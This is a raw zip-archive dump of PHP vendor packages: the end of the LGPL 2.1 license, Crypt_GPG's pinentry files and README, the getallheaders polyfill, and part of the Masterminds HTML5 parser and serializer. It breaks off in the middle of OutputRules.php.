be combined with the library in order to run.

                GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.

  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

                           NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

                    END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!PK
h�\�}�2��+vendor/pear/crypt_gpg/data/pinentry-cli.xmlnu�[���<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<command>
	<description>Utility that emulates GnuPG 1.x passphrase handling over pipe-based IPC for GnuPG 2.x.</description>
	<version>@package-version@</version>
	<option name="log">
		<short_name>-l</short_name>
		<long_name>--log</long_name>
		<description>Optional location to log pinentry activity.</description>
		<action>StoreString</action>
	</option>
	<option name="verbose">
		<short_name>-v</short_name>
		<long_name>--verbose</long_name>
		<description>Sets verbosity level. Use multiples for more detail (e.g. "-vv").</description>
		<action>Counter</action>
		<default>0</default>
	</option>
</command>
PK
h�\��7�0vendor/pear/crypt_gpg/scripts/crypt-gpg-pinentrynu�[���#! /usr/bin/env php
<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

// Check if we're running directly from git repo or if we're running
// from a PEAR or Composer packaged version.
$ds    = DIRECTORY_SEPARATOR;
$root  = __DIR__ . $ds . '..' ;
$paths = array(
    '@php-dir@', // PEAR or Composer
    $root, // Git (or Composer with wrong @php-dir@)
    $root . $ds . '..' . $ds . 'Console_CommandLine', // Composer
    $root . $ds . '..' . $ds . 'console_commandline', // Composer
    // and composer-installed PEAR_Exception for Console_CommandLine (#21074)
    $root . $ds . '..' . $ds . '..' . $ds . 'pear' . $ds . 'pear_exception',
);

foreach ($paths as $idx => $path) {
    if (!is_dir($path)) {
        unset($paths[$idx]);
    }
}

// We depend on Console_CommandLine, so we append also the default include path
set_include_path(implode(PATH_SEPARATOR, $paths) . PATH_SEPARATOR . get_include_path());

require_once 'Crypt/GPG/PinEntry.php';

$pinentry = new Crypt_GPG_PinEntry();
$pinentry->__invoke();

?>
PK
h�\�C�k��vendor/pear/crypt_gpg/README.mdnu�[���# Crypt_GPG #
Crypt_GPG is a PHP package to interact with the [GNU Privacy Guard
(GnuPG)](https://www.gnupg.org/). GnuPG is a free and open-source
implementation of the [OpenPGP](https://www.ietf.org/rfc/rfc4880.txt)
protocol, providing key management, data encryption and data signing.
Crypt_GPG provides an object-oriented API for performing OpenPGP
actions using GnuPG.

## Documentation ##

### Quick Example
```php
<?php

require_once 'Crypt/GPG.php';

$gpg = new Crypt_GPG();
$gpg->addEncryptKey('test@example.com');
$data = $gpg->encrypt('my secret data');

?>
```

### Further Documentation ###
* [High-Level Documentation](https://pear.php.net/manual/en/package.encryption.crypt-gpg.intro.php)
* [Detailed API Documentation](https://pear.php.net/package/Crypt_GPG/docs/latest/)

## Bugs and Issues ##
Please report all new issues via the [PEAR bug tracker](https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Crypt_GPG).

Please submit pull requests for your bug reports!

## Testing ##
To test, run either
`$ phpunit tests/`
  or
`$ pear run-tests -r`

## Building ##
To build, simply
`$ pear package`

## Installing ##
To install from scratch
`$ pear install package.xml`

To upgrade
`$ pear upgrade -f package.xml`
PK
h�\���zhh4vendor/ralouphie/getallheaders/src/getallheaders.phpnu�[���<?php

if (!function_exists('getallheaders')) {

    /**
     * Get all HTTP header key/values as an associative array for the current request.
     *
     * @return string[string] The HTTP header key/value pairs.
     */
    function getallheaders()
    {
        $headers = array();

        $copy_server = array(
            'CONTENT_TYPE'   => 'Content-Type',
            'CONTENT_LENGTH' => 'Content-Length',
            'CONTENT_MD5'    => 'Content-Md5',
        );

        foreach ($_SERVER as $key => $value) {
            if (substr($key, 0, 5) === 'HTTP_') {
                $key = substr($key, 5);
                if (!isset($copy_server[$key]) || !isset($_SERVER[$key])) {
                    $key = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $key))));
                    $headers[$key] = $value;
                }
            } elseif (isset($copy_server[$key])) {
                $headers[$copy_server[$key]] = $value;
            }
        }

        if (!isset($headers['Authorization'])) {
            if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) {
                $headers['Authorization'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION'];
            } elseif (isset($_SERVER['PHP_AUTH_USER'])) {
                $basic_pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
                $headers['Authorization'] = 'Basic ' . base64_encode($_SERVER['PHP_AUTH_USER'] . ':' . $basic_pass);
            } elseif (isset($_SERVER['PHP_AUTH_DIGEST'])) {
                $headers['Authorization'] = $_SERVER['PHP_AUTH_DIGEST'];
            }
        }

        return $headers;
    }

}
PK
h�\�G���,vendor/ralouphie/getallheaders/composer.jsonnu�[���{
	"name": "ralouphie/getallheaders",
	"description": "A polyfill for getallheaders.",
	"license": "MIT",
	"authors": [
		{
			"name": "Ralph Khattar",
			"email": "ralph.khattar@gmail.com"
		}
	],
	"require": {
		"php": ">=5.6"
	},
	"require-dev": {
		"phpunit/phpunit": "^5 || ^6.5",
		"php-coveralls/php-coveralls": "^2.1"
	},
	"autoload": {
		"files": ["src/getallheaders.php"]
	},
	"autoload-dev": {
		"psr-4": {
			"getallheaders\\Tests\\": "tests/"
		}
	}
}
PK
h�\Ka�88&vendor/ralouphie/getallheaders/LICENSEnu�[���The MIT License (MIT)

Copyright (c) 2014 Ralph Khattar

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
PK
h�\��\�@@(vendor/ralouphie/getallheaders/README.mdnu�[���getallheaders
=============

PHP `getallheaders()` polyfill. Compatible with PHP >= 5.3.

[![Build Status](https://travis-ci.org/ralouphie/getallheaders.svg?branch=master)](https://travis-ci.org/ralouphie/getallheaders)
[![Coverage Status](https://coveralls.io/repos/ralouphie/getallheaders/badge.png?branch=master)](https://coveralls.io/r/ralouphie/getallheaders?branch=master)
[![Latest Stable Version](https://poser.pugx.org/ralouphie/getallheaders/v/stable.png)](https://packagist.org/packages/ralouphie/getallheaders)
[![Latest Unstable Version](https://poser.pugx.org/ralouphie/getallheaders/v/unstable.png)](https://packagist.org/packages/ralouphie/getallheaders)
[![License](https://poser.pugx.org/ralouphie/getallheaders/license.png)](https://packagist.org/packages/ralouphie/getallheaders)


This is a simple polyfill for [`getallheaders()`](http://www.php.net/manual/en/function.getallheaders.php).

## Install

For PHP version **`>= 5.6`**:

```
composer require ralouphie/getallheaders
```

For PHP version **`< 5.6`**:

```
composer require ralouphie/getallheaders "^2"
```
PK
h�\�(��b!b!&vendor/masterminds/html5/src/HTML5.phpnu�[���<?php

namespace Masterminds;

use Masterminds\HTML5\Parser\DOMTreeBuilder;
use Masterminds\HTML5\Parser\Scanner;
use Masterminds\HTML5\Parser\Tokenizer;
use Masterminds\HTML5\Serializer\OutputRules;
use Masterminds\HTML5\Serializer\Traverser;

/**
 * This class offers convenience methods for parsing and serializing HTML5.
 * It is roughly designed to mirror the \DOMDocument native class.
 */
class HTML5
{
    /**
     * Global options for the parser and serializer.
     *
     * @var array
     */
    private $defaultOptions = array(
        // Whether the serializer should aggressively encode all characters as entities.
        'encode_entities' => false,

        // Prevents the parser from automatically assigning the HTML5 namespace to the DOM document.
        'disable_html_ns' => false,
    );

    protected $errors = array();

    public function __construct(array $defaultOptions = array())
    {
        $this->defaultOptions = array_merge($this->defaultOptions, $defaultOptions);
    }

    /**
     * Get the current default options.
     *
     * @return array
     */
    public function getOptions()
    {
        return $this->defaultOptions;
    }

    /**
     * Load and parse an HTML file.
     *
     * This will apply the HTML5 parser, which is tolerant of many
     * varieties of HTML, including XHTML 1, HTML 4, and well-formed HTML
     * 3. Note that in these cases, not all of the old data will be
     * preserved. For example, XHTML's XML declaration will be removed.
     *
     * The rules governing parsing are set out in the HTML 5 spec.
     *
     * @param string|resource $file    The path to the file to parse. If this is a resource, it is
     *                                 assumed to be an open stream whose pointer is set to the first
     *                                 byte of input.
     * @param array           $options Configuration options when parsing the HTML.
     *
     * @return \DOMDocument A DOM document. These object type is defined by the libxml
     *                      library, and should have been included with your version of PHP.
     */
    public function load($file, array $options = array())
    {
        // Handle the case where file is a resource.
        if (is_resource($file)) {
            return $this->parse(stream_get_contents($file), $options);
        }

        return $this->parse(file_get_contents($file), $options);
    }

    /**
     * Parse a HTML Document from a string.
     *
     * Take a string of HTML 5 (or earlier) and parse it into a
     * DOMDocument.
     *
     * @param string $string  A html5 document as a string.
     * @param array  $options Configuration options when parsing the HTML.
     *
     * @return \DOMDocument A DOM document. DOM is part of libxml, which is included with
     *                      almost all distribtions of PHP.
     */
    public function loadHTML($string, array $options = array())
    {
        return $this->parse($string, $options);
    }

    /**
     * Convenience function to load an HTML file.
     *
     * This is here to provide backwards compatibility with the
     * PHP DOM implementation. It simply calls load().
     *
     * @param string $file    The path to the file to parse. If this is a resource, it is
     *                        assumed to be an open stream whose pointer is set to the first
     *                        byte of input.
     * @param array  $options Configuration options when parsing the HTML.
     *
     * @return \DOMDocument A DOM document. These object type is defined by the libxml
     *                      library, and should have been included with your version of PHP.
     */
    public function loadHTMLFile($file, array $options = array())
    {
        return $this->load($file, $options);
    }

    /**
     * Parse a HTML fragment from a string.
     *
     * @param string $string  the HTML5 fragment as a string
     * @param array  $options Configuration options when parsing the HTML
     *
     * @return \DOMDocumentFragment A DOM fragment. The DOM is part of libxml, which is included with
     *                              almost all distributions of PHP.
     */
    public function loadHTMLFragment($string, array $options = array())
    {
        return $this->parseFragment($string, $options);
    }

    /**
     * Return all errors encountered into parsing phase.
     *
     * @return array
     */
    public function getErrors()
    {
        return $this->errors;
    }

    /**
     * Return true it some errors were encountered into parsing phase.
     *
     * @return bool
     */
    public function hasErrors()
    {
        return count($this->errors) > 0;
    }

    /**
     * Parse an input string.
     *
     * @param string $input
     * @param array  $options
     *
     * @return \DOMDocument
     */
    public function parse($input, array $options = array())
    {
        $this->errors = array();
        $options = array_merge($this->defaultOptions, $options);
        $events = new DOMTreeBuilder(false, $options);
        $scanner = new Scanner($input, !empty($options['encoding']) ? $options['encoding'] : 'UTF-8');
        $parser = new Tokenizer($scanner, $events, !empty($options['xmlNamespaces']) ? Tokenizer::CONFORMANT_XML : Tokenizer::CONFORMANT_HTML);

        $parser->parse();
        $this->errors = $events->getErrors();

        return $events->document();
    }

    /**
     * Parse an input stream where the stream is a fragment.
     *
     * Lower-level loading function. This requires an input stream instead
     * of a string, file, or resource.
     *
     * @param string $input   The input data to parse in the form of a string.
     * @param array  $options An array of options.
     *
     * @return \DOMDocumentFragment
     */
    public function parseFragment($input, array $options = array())
    {
        $options = array_merge($this->defaultOptions, $options);
        $events = new DOMTreeBuilder(true, $options);
        $scanner = new Scanner($input, !empty($options['encoding']) ? $options['encoding'] : 'UTF-8');
        $parser = new Tokenizer($scanner, $events, !empty($options['xmlNamespaces']) ? Tokenizer::CONFORMANT_XML : Tokenizer::CONFORMANT_HTML);

        $parser->parse();
        $this->errors = $events->getErrors();

        return $events->fragment();
    }

    /**
     * Save a DOM into a given file as HTML5.
     *
     * @param mixed           $dom     The DOM to be serialized.
     * @param string|resource $file    The filename to be written or resource to write to.
     * @param array           $options Configuration options when serializing the DOM. These include:
     *                                 - encode_entities: Text written to the output is escaped by default and not all
     *                                 entities are encoded. If this is set to true all entities will be encoded.
     *                                 Defaults to false.
     */
    public function save($dom, $file, $options = array())
    {
        $close = true;
        if (is_resource($file)) {
            $stream = $file;
            $close = false;
        } else {
            $stream = fopen($file, 'wb');
        }
        $options = array_merge($this->defaultOptions, $options);
        $rules = new OutputRules($stream, $options);
        $trav = new Traverser($dom, $stream, $rules, $options);

        $trav->walk();
        /*
         * release the traverser to avoid cyclic references and allow PHP to free memory without waiting for gc_collect_cycles
         */
        $rules->unsetTraverser();
        if ($close) {
            fclose($stream);
        }
    }

    /**
     * Convert a DOM into an HTML5 string.
     *
     * @param mixed $dom     The DOM to be serialized.
     * @param array $options Configuration options when serializing the DOM. These include:
     *                       - encode_entities: Text written to the output is escaped by default and not all
     *                       entities are encoded. If this is set to true all entities will be encoded.
     *                       Defaults to false.
     *
     * @return string A HTML5 documented generated from the DOM.
     */
    public function saveHTML($dom, $options = array())
    {
        $stream = fopen('php://temp', 'wb');
        $this->save($dom, $stream, array_merge($this->defaultOptions, $options));

        $html = stream_get_contents($stream, -1, 0);

        fclose($stream);

        return $html;
    }
}
PK
h�\{�7
7
@vendor/masterminds/html5/src/HTML5/Serializer/RulesInterface.phpnu�[���<?php
/**
 * @file
 * The interface definition for Rules to generate output.
 */

namespace Masterminds\HTML5\Serializer;

/**
 * To create a new rule set for writing output the RulesInterface needs to be implemented.
 * The resulting class can be specified in the options with the key of rules.
 *
 * For an example implementation see Serializer\OutputRules.
 */
interface RulesInterface
{
    /**
     * The class constructor.
     *
     * Note, before the rules can be used a traverser must be registered.
     *
     * @param mixed $output  The output stream to write output to.
     * @param array $options An array of options.
     */
    public function __construct($output, $options = array());

    /**
     * Register the traverser used in but the rules.
     *
     * Note, only one traverser can be used by the rules.
     *
     * @param Traverser $traverser The traverser used in the rules.
     *
     * @return RulesInterface $this for the current object.
     */
    public function setTraverser(Traverser $traverser);

    /**
     * Write a document element (\DOMDocument).
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param \DOMDocument $dom
     */
    public function document($dom);

    /**
     * Write an element.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function element($ele);

    /**
     * Write a text node.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function text($ele);

    /**
     * Write a CDATA node.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function cdata($ele);

    /**
     * Write a comment node.
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function comment($ele);

    /**
     * Write a processor instruction.
     *
     * To learn about processor instructions see InstructionProcessor
     *
     * Instead of returning the result write it to the output stream ($output)
     * that was passed into the constructor.
     *
     * @param mixed $ele
     */
    public function processorInstruction($ele);
}
PK
h�\)�%�@�@=vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.phpnu�[���<?php
/**
 * @file
 * The rules for generating output in the serializer.
 *
 * These output rules are likely to generate output similar to the document that
 * was parsed. It is not intended to output exactly the document that was parsed.
 */

namespace Masterminds\HTML5\Serializer;

use Masterminds\HTML5\Elements;

/**
 * Generate the output html5 based on element rules.
 */
class OutputRules implements RulesInterface
{
    /**
     * Defined in http://www.w3.org/TR/html51/infrastructure.html#html-namespace-0.
     */
    const NAMESPACE_HTML = 'http://www.w3.org/1999/xhtml';

    const NAMESPACE_MATHML = 'http://www.w3.org/1998/Math/MathML';

    const NAMESPACE_SVG = 'http://www.w3.org/2000/svg';

    const NAMESPACE_XLINK = 'http://www.w3.org/1999/xlink';

    const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    const NAMESPACE_XMLNS = 'http://www.w3.org/2000/xmlns/';

    /**
     * Holds the HTML5 element names that causes a namespace switch.
     *
     * @var array
     */
    protected $implicitNamespaces = array(
        self::NAMESPACE_HTML,
        self::NAMESPACE_SVG,
        self::NAMESPACE_MATHML,
        self::NAMESPACE_XML,
        self::NAMESPACE_XMLNS,
    );

    const IM_IN_HTML = 1;

    const IM_IN_SVG = 2;

    const IM_IN_MATHML = 3;

    /**
     * Used as cache to detect if is available ENT_HTML5.
     *
     * @var bool
     */
    private $hasHTML5 = false;

    protected $traverser;

    protected $encode = false;

    protected $out;

    protected $outputMode;

    private $xpath;

    protected $nonBooleanAttributes = array(
        /*
        array(
            'nodeNamespace'=>'http://www.w3.org/1999/xhtml',
            'attrNamespace'=>'http://www.w3.org/1999/xhtml',

            'nodeName'=>'img', 'nodeName'=>array('img', 'a'),
            'attrName'=>'alt', 'attrName'=>array('title', 'alt'),
        ),
        */
        array(
            'nodeNamespace' => 'http://www.w3.org/1999/xhtml',
            'attrName' => array('href',
                'hreflang',
                'http-equiv',
                'icon',
                'id',
                'keytype',
                'kind',
                'label',
                'lang',
                'language',
                'list',
                'maxlength',
                'media',
                'method',
                'name',
                'placeholder',
                'rel',
                'rows',
                'rowspan',
                'sandbox',
                'spellcheck',
